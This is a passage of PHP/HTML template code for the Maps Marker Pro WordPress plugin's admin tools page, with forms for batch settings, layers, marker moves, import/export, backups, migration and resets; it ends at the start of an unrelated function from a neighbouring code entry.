id=\"gpxChartLocatorRadiusCheck\" class=\"batch-settings-check\" name=\"gpxChartLocatorRadiusCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartLocatorRadius\"><?= esc_html__('Locator radius', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxChartLocatorRadius\" name=\"gpxChartLocatorRadius\" value=\"<?= $settings['gpxChartLocatorRadius'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartLocatorStrokeCheck\" class=\"batch-settings-check\" name=\"gpxChartLocatorStrokeCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartLocatorStroke\"><?= esc_html__('Locator stroke', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartLocatorStroke\" name=\"gpxChartLocatorStroke\" <?= !$settings['gpxChartLocatorStroke'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartLocatorColorCheck\" class=\"batch-settings-check\" name=\"gpxChartLocatorColorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartLocatorColor\"><?= esc_html__('Locator stroke color', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"gpxChartLocatorColor\" name=\"gpxChartLocatorColor\" value=\"<?= $settings['gpxChartLocatorColor'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartLocatorWeightCheck\" class=\"batch-settings-check\" name=\"gpxChartLocatorWeightCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartLocatorWeight\"><?= esc_html__('Locator stroke weight', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxChartLocatorWeight\" name=\"gpxChartLocatorWeight\" value=\"<?= $settings['gpxChartLocatorWeight'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartLocatorFillColorCheck\" class=\"batch-settings-check\" name=\"gpxChartLocatorFillColorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartLocatorFillColor\"><?= esc_html__('Locator fill color', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"gpxChartLocatorFillColor\" name=\"gpxChartLocatorFillColor\" value=\"<?= $settings['gpxChartLocatorFillColor'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartLocatorFillOpacityCheck\" class=\"batch-settings-check\" name=\"gpxChartLocatorFillOpacityCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartLocatorFillOpacity\"><?= esc_html__('Locator fill opacity', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxChartLocatorFillOpacity\" name=\"gpxChartLocatorFillOpacity\" value=\"<?= $settings['gpxChartLocatorFillOpacity'] ?>\" min=\"0\" max=\"1\" step=\"0.01\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<label><input name=\"batch_settings_mode\" type=\"radio\" value=\"all\" checked=\"checked\" /> <?= esc_html__('Apply settings to all maps', 'mmp') ?></label><br />\r\n\t\t\t\t\t\t\t<label><input name=\"batch_settings_mode\" type=\"radio\" value=\"include\" /> <?= esc_html__('Apply settings to these maps', 'mmp') ?></label><br />\r\n\t\t\t\t\t\t\t<select id=\"batch_settings_maps\" name=\"batch_settings_maps[]\" multiple=\"multiple\">\r\n\t\t\t\t\t\t\t\t<?php foreach ($maps as $map): ?>\r\n\t\t\t\t\t\t\t\t\t<option value=\"<?= $map->id ?>\">[<?= $map->id ?>] <?= esc_html($map->name) ?> (<?= $map->markers ?> <?= esc_html__('markers', 'mmp') ?>)</option>\r\n\t\t\t\t\t\t\t\t<?php endforeach; ?>\r\n\t\t\t\t\t\t\t</select><br />\r\n\t\t\t\t\t\t\t<button type=\"button\" id=\"save_batch_settings\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-batch-settings') ?>\"><?= esc_html__('Save', 'mmp') ?></button>\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<div id=\"batch_layers_section\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Batch update layers', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<form id=\"mapLayers\" method=\"POST\">\r\n\t\t\t\t\t\t\t<ul id=\"basemapList\"></ul>\r\n\t\t\t\t\t\t\t<select id=\"basemapsList\">\r\n\t\t\t\t\t\t\t\t<?php foreach ($basemaps as $bid => $basemaps): ?>\r\n\t\t\t\t\t\t\t\t\t<option value=\"<?= $bid ?>\"><?= esc_html($basemaps['name']) ?></option>\r\n\t\t\t\t\t\t\t\t<?php endforeach; ?>\r\n\t\t\t\t\t\t\t</select><br />\r\n\t\t\t\t\t\t\t<button type=\"button\" id=\"basemapsAdd\" class=\"button button-secondary\"><?= esc_html__('Add basemap', 'mmp') ?></button><br />\r\n\t\t\t\t\t\t\t<ul id=\"overlayList\"></ul>\r\n\t\t\t\t\t\t\t<select id=\"overlaysList\">\r\n\t\t\t\t\t\t\t\t<?php foreach ($overlays as $oid => $overlays): ?>\r\n\t\t\t\t\t\t\t\t\t<option value=\"<?= $oid ?>\"><?= esc_html($overlays['name']) ?></option>\r\n\t\t\t\t\t\t\t\t<?php endforeach; ?>\r\n\t\t\t\t\t\t\t</select><br />\r\n\t\t\t\t\t\t\t<button type=\"button\" id=\"overlaysAdd\" class=\"button button-secondary\"><?= esc_html__('Add overlay', 'mmp') ?></button><br />\r\n\t\t\t\t\t\t\t<label><input name=\"batch_layers_mode\" type=\"radio\" value=\"all\" checked=\"checked\" /> <?= esc_html__('Apply settings to all maps', 'mmp') ?></label><br />\r\n\t\t\t\t\t\t\t<label><input name=\"batch_layers_mode\" type=\"radio\" value=\"include\" /> <?= esc_html__('Apply settings to these maps', 'mmp') ?></label><br />\r\n\t\t\t\t\t\t\t<select id=\"batch_layers_maps\" name=\"batch_layers_maps[]\" multiple=\"multiple\">\r\n\t\t\t\t\t\t\t\t<?php foreach ($maps as $map): ?>\r\n\t\t\t\t\t\t\t\t\t<option value=\"<?= $map->id ?>\">[<?= $map->id ?>] <?= esc_html($map->name) ?> (<?= $map->markers ?> <?= esc_html__('markers', 'mmp') ?>)</option>\r\n\t\t\t\t\t\t\t\t<?php endforeach; ?>\r\n\t\t\t\t\t\t\t</select><br />\r\n\t\t\t\t\t\t\t<button type=\"button\" id=\"save_batch_layers\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-batch-layers') ?>\"><?= esc_html__('Save', 'mmp') ?></button>\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<div id=\"replace_icon_section\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Replace marker icons', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<input type=\"hidden\" id=\"replaceIcon\" value=\"0\" />\r\n\t\t\t\t\t\t<?= esc_html__('Icon to replace', 'mmp') ?>: <img id=\"sourceIcon\" class=\"mmp-align-middle\" src=\"<?= plugins_url('images/leaflet/marker.png', __DIR__) ?>\" /><br />\r\n\t\t\t\t\t\t<?= esc_html__('Replacement icon', 'mmp') ?>: <img id=\"targetIcon\" class=\"mmp-align-middle\" src=\"<?= plugins_url('images/leaflet/marker.png', __DIR__) ?>\" /><br />\r\n\t\t\t\t\t\t<button type=\"button\" id=\"replace_icon\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-replace-icon') ?>\"><?= esc_html__('Replace', 'mmp') ?></button>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<div id=\"move_markers_section\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Move markers to a map', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t<?= esc_html__('Source', 'mmp') ?>\r\n\t\t\t\t\t\t\t<select id=\"move_markers_source\" name=\"move_markers_source\">\r\n\t\t\t\t\t\t\t\t<?php foreach ($maps as $map): ?>\r\n\t\t\t\t\t\t\t\t\t<option value=\"<?= $map->id ?>\">[<?= $map->id ?>] <?= esc_html($map->name) ?> (<?= $map->markers ?> <?= esc_html__('markers', 'mmp') ?>)</option>\r\n\t\t\t\t\t\t\t\t<?php endforeach; ?>\r\n\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t</label><br />\r\n\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t<?= esc_html__('Target', 'mmp') ?>\r\n\t\t\t\t\t\t\t<select id=\"move_markers_target\" name=\"move_markers_target\">\r\n\t\t\t\t\t\t\t\t<?php foreach ($maps as $map): ?>\r\n\t\t\t\t\t\t\t\t\t<option value=\"<?= $map->id ?>\">[<?= $map->id ?>] <?= esc_html($map->name) ?> (<?= $map->markers ?> <?= esc_html__('markers', 'mmp') ?>)</option>\r\n\t\t\t\t\t\t\t\t<?php endforeach; ?>\r\n\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t</label><br />\r\n\t\t\t\t\t\t<button type=\"button\" id=\"move_markers\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-move-markers') ?>\"><?= esc_html__('Move markers', 'mmp') ?></button>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<div id=\"remove_markers_section\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Remove all markers from a map', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<p><?= esc_html__('Note: markers are only unassigned, but not deleted.', 'mmp') ?></p>\r\n\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t<?= esc_html__('Source', 'mmp') ?>\r\n\t\t\t\t\t\t\t<select id=\"remove_markers_map\" name=\"remove_markers_map\">\r\n\t\t\t\t\t\t\t\t<?php if ($maps !== null): ?>\r\n\t\t\t\t\t\t\t\t\t<?php foreach ($maps as $map): ?>\r\n\t\t\t\t\t\t\t\t\t\t<option value=\"<?= $map->id ?>\">[<?= $map->id ?>] <?= esc_html($map->name) ?> (<?= $map->markers ?> <?= esc_html__('markers', 'mmp') ?>)</option>\r\n\t\t\t\t\t\t\t\t\t<?php endforeach; ?>\r\n\t\t\t\t\t\t\t\t<?php endif; ?>\r\n\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t</label><br />\r\n\t\t\t\t\t\t<button type=\"button\" id=\"remove_markers\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-remove-markers') ?>\"><?= esc_html__('Remove markers', 'mmp') ?></button>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<div id=\"register_strings_section\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Register strings for translation', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<?php if (!$l10n->ml): ?>\r\n\t\t\t\t\t\t\t<p><a href=\"https://www.mapsmarker.com/multilingual/\" target=\"_blank\"><?= esc_html__('No supported multilingual plugin installed.', 'mmp') ?></a></p>\r\n\t\t\t\t\t\t<?php else: ?>\r\n\t\t\t\t\t\t\t<button type=\"button\" id=\"register_strings\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-register-strings') ?>\"><?= esc_html__('Register strings', 'mmp') ?></button>\r\n\t\t\t\t\t\t<?php endif; ?>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t\t<div id=\"import_tab_content\" class=\"mmp-tools-tab\">\r\n\t\t\t\t<div id=\"import\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Import markers', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<p>\r\n\t\t\t\t\t\t\t<?= sprintf(esc_html__('Import file needs to be in GeoJSON format. For more details about the import feature and a tutorial on how to convert other formats into GeoJSON, please visit %1$s.', 'mmp'), '<a href=\"https://www.mapsmarker.com/import-export/\" target=\"_blank\">https://www.mapsmarker.com/import-export/</a>') ?>\r\n\t\t\t\t\t\t</p>\r\n\t\t\t\t\t\t<form id=\"import_form\" method=\"POST\">\r\n\t\t\t\t\t\t\t<input name=\"action\" type=\"hidden\" value=\"mmp_import\" />\r\n\t\t\t\t\t\t\t<input name=\"nonce\" type=\"hidden\" value=\"<?= wp_create_nonce('mmp-tools-import') ?>\" />\r\n\t\t\t\t\t\t\t<div id=\"import_log\" class=\"mmp-log\"></div>\r\n\t\t\t\t\t\t\t<?= esc_html__('Test mode', 'mmp') ?>:<br />\r\n\t\t\t\t\t\t\t<input name=\"test_mode\" type=\"radio\" value=\"on\" checked=\"checked\" /> <?= esc_html__('On', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<input name=\"test_mode\" type=\"radio\" value=\"off\" /> <?= esc_html__('Off', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<?= esc_html__('Marker mode', 'mmp') ?>:<br />\r\n\t\t\t\t\t\t\t<input name=\"marker_mode\" type=\"radio\" value=\"add\" checked=\"checked\" /> <?= esc_html__('Add markers', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<input name=\"marker_mode\" type=\"radio\" value=\"update\" /> <?= esc_html__('Update markers', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<input name=\"marker_mode\" type=\"radio\" value=\"both\" /> <?= esc_html__('Update existing, add remaining', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<?= esc_html__('Geocoding', 'mmp') ?>:<br />\r\n\t\t\t\t\t\t\t<input name=\"geocoding\" type=\"radio\" value=\"off\" checked=\"checked\" /> <?= esc_html__('Off (markers with missing coordinates will be skipped)', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<input name=\"geocoding\" type=\"radio\" value=\"missing\" /> <?= esc_html__('Missing (markers with missing coordinates will be geocoded)', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<input name=\"geocoding\" type=\"radio\" value=\"on\" /> <?= esc_html__('On (all markers will be geocoded)', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<button id=\"import_start\" class=\"button button-primary\" disabled=\"disabled\"><?= esc_html__('Start import', 'mmp') ?></button>\r\n\t\t\t\t\t\t\t<input id=\"import_file\" name=\"file\" type=\"file\" />\r\n\t\t\t\t\t\t\t<input id=\"import_max_size\" type=\"hidden\" value=\"<?= $upload->get_max_upload_size(); ?>\" />\r\n\t\t\t\t\t\t\t<span id=\"import_filesize_error\">(<?= esc_html__('Maximum upload size exceeded', 'mmp') ?>)</span>\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t\t<div id=\"export_tab_content\" class=\"mmp-tools-tab\">\r\n\t\t\t\t<div id=\"export\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Export markers', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<p>\r\n\t\t\t\t\t\t\t<?= sprintf(esc_html__('Markers will be exported to GeoJSON format. For more details about the export feature and a tutorial on how to convert the output file into other formats, please visit %1$s.', 'mmp'), '<a href=\"https://www.mapsmarker.com/import-export/\" target=\"_blank\">https://www.mapsmarker.com/import-export/</a>') ?>\r\n\t\t\t\t\t\t</p>\r\n\t\t\t\t\t\t<form id=\"export_form\" method=\"POST\">\r\n\t\t\t\t\t\t\t<input name=\"action\" type=\"hidden\" value=\"mmp_export\" />\r\n\t\t\t\t\t\t\t<input name=\"nonce\" type=\"hidden\" value=\"<?= wp_create_nonce('mmp-tools-export') ?>\" />\r\n\t\t\t\t\t\t\t<div id=\"export_log\" class=\"mmp-log\"></div>\r\n\t\t\t\t\t\t\t<?= esc_html__('Filter mode', 'mmp') ?>:<br />\r\n\t\t\t\t\t\t\t<input name=\"filter_mode\" type=\"radio\" value=\"all\" checked=\"checked\" /> <?= esc_html__('All markers', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<input name=\"filter_mode\" type=\"radio\" value=\"include\" /> <?= esc_html__('Only markers from these maps', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<select id=\"export_include\" name=\"filter_include[]\" multiple=\"multiple\">\r\n\t\t\t\t\t\t\t\t<?php foreach ($maps as $map): ?>\r\n\t\t\t\t\t\t\t\t\t<option value=\"<?= $map->id ?>\">[<?= $map->id ?>] <?= esc_html($map->name) ?> (<?= $map->markers ?> <?= esc_html__('markers', 'mmp') ?>)</option>\r\n\t\t\t\t\t\t\t\t<?php endforeach; ?>\r\n\t\t\t\t\t\t\t</select><br />\r\n\t\t\t\t\t\t\t<input name=\"filter_mode\" type=\"radio\" value=\"exclude\" /> <?= esc_html__('All markers except from these maps', 'mmp') ?><br />\r\n\t\t\t\t\t\t\t<select id=\"export_exclude\" name=\"filter_exclude[]\" multiple=\"multiple\">\r\n\t\t\t\t\t\t\t\t<?php foreach ($maps as $map): ?>\r\n\t\t\t\t\t\t\t\t\t<option value=\"<?= $map->id ?>\">[<?= $map->id ?>] <?= esc_html($map->name) ?> (<?= $map->markers ?> <?= esc_html__('markers', 'mmp') ?>)</option>\r\n\t\t\t\t\t\t\t\t<?php endforeach; ?>\r\n\t\t\t\t\t\t\t</select><br />\r\n\t\t\t\t\t\t\t<button id=\"export_start\" class=\"button button-primary\"><?= esc_html__('Start export', 'mmp') ?></button>\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t\t<div id=\"backup_restore_tab_content\" class=\"mmp-tools-tab\">\r\n\t\t\t\t<div id=\"backup_restore_section\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Backup or restore database', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<p>\r\n\t\t\t\t\t\t\t<?= esc_html__('This includes custom layers, maps, markers and relationships. Settings need to be backed up separately.', 'mmp') ?>\r\n\t\t\t\t\t\t</p>\r\n\t\t\t\t\t\t<div id=\"backup_log\" class=\"mmp-log\"></div>\r\n\t\t\t\t\t\t<div class=\"mmp-progress-bar\">\r\n\t\t\t\t\t\t\t<div id=\"backup_progress\" class=\"mmp-progress-bar-fill\"></div>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t<button id=\"backup_start\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-backup') ?>\"><?= esc_html__('Start backup', 'mmp') ?></button>\r\n\t\t\t\t\t\t<div class=\"mmp-restore\">\r\n\t\t\t\t\t\t\t<p class=\"mmp-warning\"><?= esc_html__('WARNING: If you restore a backup, the entire Maps Marker Pro database will be wiped and replaced with the data from the file. This cannot be undone.', 'mmp') ?></p>\r\n\t\t\t\t\t\t\t<button id=\"restore_start\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-restore-backup') ?>\" disabled=\"disabled\"><?= esc_html__('Restore backup', 'mmp') ?></button>\r\n\t\t\t\t\t\t\t<input id=\"backup_max_size\" type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"<?= $upload->get_max_upload_size(); ?>\" />\r\n\t\t\t\t\t\t\t<input id=\"backup_file\" name=\"file\" type=\"file\" />\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<div id=\"update_settings_section\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Backup or restore settings', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<p>\r\n\t\t\t\t\t\t\t<?= esc_html__('Below are your current settings, encoded in JSON. Use copy and paste to create or restore a backup.', 'mmp') ?><br/>\r\n\t\t\t\t\t\t\t<?= sprintf(esc_html__('Please be aware that restoring settings from a version other than %1$s will result in settings that have been added, changed or removed in this version to revert to their default values.', 'mmp'), Maps_Marker_Pro::$version) ?><br />\r\n\t\t\t\t\t\t\t<?= sprintf($l10n->kses__('In case of any issues, you can always <a href=\"%1$s\">reset the plugin settings</a>.', 'mmp'), get_admin_url(null, 'admin.php?page=mapsmarkerpro_tools#reset')) ?>\r\n\t\t\t\t\t\t</p>\r\n\t\t\t\t\t\t<textarea id=\"settings\" class=\"mmp-tools-settings\" name=\"settings\"><?= json_encode(array_map('htmlspecialchars_decode', Maps_Marker_Pro::$settings)) ?></textarea><br />\r\n\t\t\t\t\t\t<button type=\"button\" id=\"update_settings\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-update-settings') ?>\"><?= esc_html__('Update settings', 'mmp') ?></button>\r\n\t\t\t\t\t\t<?php if (is_multisite() && is_super_admin()): ?>\r\n\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"update_settings_multisite\" name=\"update_settings_multisite\" /><?= esc_html__('Multisite-only: also update settings on all subsites', 'mmp') ?></label>\r\n\t\t\t\t\t\t<?php endif; ?>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t\t<?php if ($old_version !== false): ?>\r\n\t\t\t\t<div id=\"migration_tab_content\" class=\"mmp-tools-tab\">\r\n\t\t\t\t\t<div id=\"data_migration\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t\t<h2><?= esc_html__('Maps Marker Pro 3.1.1 data migration', 'mmp') ?></h2>\r\n\t\t\t\t\t\t<div>\r\n\t\t\t\t\t\t\t<?php if ($old_version === '3.1.1'): ?>\r\n\t\t\t\t\t\t\t\t<p><?= esc_html__('Maps Marker Pro 4.0 was completely rewritten from scratch and received a new database structure. As a result, existing data needs to be migrated. To make this as risk-free as possible, the plugin folder was renamed (which means it is considered a different plugin by WordPress) and a new database was created. This allows you to easily go back to the old plugin, should you encounter any issues, by simply deactivating this version and reactivating Maps Marker 3.1.1.', 'mmp') ?></p>\r\n\t\t\t\t\t\t\t\t<p class=\"mmp-warning\"><?= esc_html__('Warning: If you migrate your data, any maps or markers created with Maps Marker Pro 4.0 will be deleted and replaced with the Maps Marker Pro 3.1.1 data (which will remain unchanged). This cannot be undone.', 'mmp') ?></p>\r\n\t\t\t\t\t\t\t\t<p><?= sprintf(esc_html__('Please do not delete Maps Marker Pro 3.1.1 until you have verified that all data has been migrated correctly. We also recommend to make a backup of the %1$s and %2$s database tables, to be able to run the migration again at a later point, should it become necessary.', 'mmp'), \"<code>{$wpdb->prefix}leafletmapsmarker_layers</code>\", \"<code>{$wpdb->prefix}leafletmapsmarker_markers</code>\") ?></p>\r\n\t\t\t\t\t\t\t\t<p><?= esc_html__('Starting with Maps Marker Pro 4.0, marker maps have been deprecated, but can still be used for backwards compatibility. However, additional shortcode attributes are needed in order to make them look the same. Due to the high risk of doing this programmatically, we require you to replace these shortcodes manually. Start the migration check to get a list of used shortcodes and how they need to be updated. Only shortcodes in posts and pages can be detected, so please also check if you are using any shortcodes in widgets or other places. This only affects shortcodes for marker maps. Shortcodes for layer maps do not need to be updated.', 'mmp') ?></p>\r\n\t\t\t\t\t\t\t\t<div id=\"migration_log\"></div>\r\n\t\t\t\t\t\t\t\t<button id=\"data_migration_check\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-check-migration') ?>\"><?= esc_html__('Check migration', 'mmp') ?></button>\r\n\t\t\t\t\t\t\t\t<button id=\"data_migration_start\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-migration') ?>\" disabled=\"disabled\"><?= esc_html__('Start migration', 'mmp') ?></button>\r\n\t\t\t\t\t\t\t<?php else: ?>\r\n\t\t\t\t\t\t\t\t<?= sprintf($l10n->kses__('If you want to copy your existing maps to this version, you need to update the old Maps Marker Pro installation to version %1$s first.', 'mmp'), '3.1.1') ?>\r\n\t\t\t\t\t\t\t<?php endif; ?>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t<?php endif; ?>\r\n\t\t\t<div id=\"reset_tab_content\" class=\"mmp-tools-tab\">\r\n\t\t\t\t<div id=\"reset_database_section\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Reset database', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<p><?= esc_html__('This will reset the Maps Marker Pro database. All custom layers, maps, markers and relationships will be deleted. Settings are not affected.', 'mmp') ?></p>\r\n\t\t\t\t\t\t<p class=\"mmp-warning\"><?= esc_html__('WARNING: this cannot be undone.', 'mmp') ?></p>\r\n\t\t\t\t\t\t<button type=\"button\" id=\"reset_database\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-reset-db') ?>\" disabled=\"disabled\"><?= esc_html__('Reset database', 'mmp') ?></button>\r\n\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"reset_database_confirm\" name=\"reset_database_confirm\" /><?= esc_html__('Are you sure?', 'mmp') ?></label>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\r\n\t\t\t\t<div id=\"reset_settings_section\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Reset settings', 'mmp') ?></h2>\r\n\t\t\t\t\t<div>\r\n\t\t\t\t\t\t<p><?= esc_html__('This will reset the Maps Marker Pro settings to their default values.', 'mmp') ?></p>\r\n\t\t\t\t\t\t<p class=\"mmp-warning\"><?= esc_html__('WARNING: this cannot be undone.', 'mmp') ?></p>\r\n\t\t\t\t\t\t<button type=\"button\" id=\"reset_settings\" class=\"button button-primary\" data-nonce=\"<?= wp_create_nonce('mmp-tools-reset-settings') ?>\" disabled=\"disabled\"><?= esc_html__('Reset settings', 'mmp') ?></button>\r\n\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"reset_settings_confirm\" name=\"reset_settings_confirm\" /><?= esc_html__('Are you sure?', 'mmp') ?></label>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t\t<div id=\"icons\" class=\"mmp-hidden\">\r\n\t\t\t\t<div id=\"iconsList\">\r\n\t\t\t\t\t<img class=\"mmp-icon\" src=\"<?= plugins_url('images/leaflet/marker.png', __DIR__) ?>\" />\r\n\t\t\t\t\t<?php foreach ($upload->get_icons() as $icon): ?>\r\n\t\t\t\t\t\t<img class=\"mmp-icon\" src=\"<?= Maps_Marker_Pro::$icons_url . $icon ?>\" />\r\n\t\t\t\t\t<?php endforeach; ?>\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<?php\r\n\t}", "public static function loadStations() {\n\n $filename = 